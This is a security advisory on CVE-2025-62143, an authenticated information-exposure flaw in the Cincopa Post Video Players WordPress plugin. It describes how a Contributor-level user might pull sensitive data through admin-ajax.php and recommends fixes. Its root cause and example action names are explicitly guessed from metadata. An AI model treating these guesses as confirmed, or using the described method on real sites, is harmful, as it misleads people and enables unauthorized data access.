Atomic Edge analysis of CVE-2025-62143 (metadata-based):
This vulnerability is an authenticated information exposure flaw in the Cincopa Post Video Players plugin for WordPress, affecting all versions up to and including 1.163. The vulnerability allows authenticated users with Contributor-level permissions or higher to access sensitive data they should not be authorized to view.
Atomic Edge research infers the root cause is likely a missing or insufficient capability check on a WordPress AJAX handler or REST API endpoint. The CWE-200 classification indicates the plugin exposes sensitive data to an unauthorized actor. Without a code diff, this conclusion is inferred from the CWE and the WordPress context, where such exposures commonly occur in custom admin-ajax.php actions or custom REST endpoints that retrieve data without verifying the user has the correct object-level permissions.
The exploitation method likely involves an authenticated attacker sending a crafted HTTP POST request to the WordPress admin-ajax.php endpoint. The request would specify an action parameter related to the plugin’s functionality, such as ‘cincopa_get_data’ or ‘video_playlist_get_info’. The attacker, logged in as a Contributor, would send this request to retrieve sensitive user or configuration data that the plugin’s function returns without proper authorization checks.
Remediation requires implementing proper authorization and access control. The plugin must verify the requesting user has both the correct WordPress capability (e.g., ‘manage_options’ for site configuration) and the appropriate object-level permissions for the specific data being requested before returning any sensitive information. A nonce check should also be added to prevent CSRF, but the core issue is the missing capability check.
Successful exploitation leads to the exposure of sensitive information. This could include private user data (email addresses, names, metadata), internal plugin configuration, or site settings. While the CVSS score of 4.3 indicates a low confidentiality impact (C:L), the exposed data could facilitate further attacks, such as social engineering or reconnaissance for privilege escalation.
